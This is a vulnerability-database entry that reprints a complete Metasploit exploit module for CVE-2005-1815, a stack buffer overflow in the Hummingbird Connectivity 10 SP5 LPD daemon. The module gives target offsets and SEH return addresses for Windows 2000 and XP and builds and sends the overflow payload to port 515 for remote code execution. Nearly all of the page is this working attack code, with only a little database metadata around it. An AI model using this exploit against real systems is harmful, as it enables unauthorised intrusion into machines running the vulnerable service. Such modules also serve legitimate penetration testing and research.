Hummingbird Connectivity 10 SP5 LPD Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Hummingbird Connectivity 10 SP5 LPD Buffer Overflow in Exceed v1


                                                ##
# $Id: hummingbird_exceed.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Hummingbird Connectivity 10 SP5 LPD Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Hummingbird Connectivity
				10 LPD Daemon. This module has only been tested against Hummingbird
				Exceed v10 with SP5.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2005-1815&#39;],
					[&#39;OSVDB&#39;, &#39;16957&#39;],
					[&#39;BID&#39;, &#39;13788&#39;],
				],
			&#39;Privileged&#39;     =&#62; true,

			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 500,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;Windows 2000 English SP0-SP4&#39;, { &#39;Offset&#39; =&#62; 1620, &#39;Ret&#39; =&#62; 0x75022ac4 }],
					[&#39;Windows XP English SP0/SP1&#39;,   { &#39;Offset&#39; =&#62; 1596, &#39;Ret&#39; =&#62; 0x71aa2461 }],
				],

			&#39;DisclosureDate&#39; =&#62; &#39;May 27 2005&#39;))

		register_options( [ Opt::RPORT(515) ], self.class )
	end

	def exploit
		connect

		filler = rand_text_english(target[&#39;Offset&#39;], payload_badchars)
		seh    = generate_seh_payload(target.ret)
		sploit = filler + seh

		print_status(&#34;Trying target #{target.name}...&#34;)
		sock.put(sploit)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1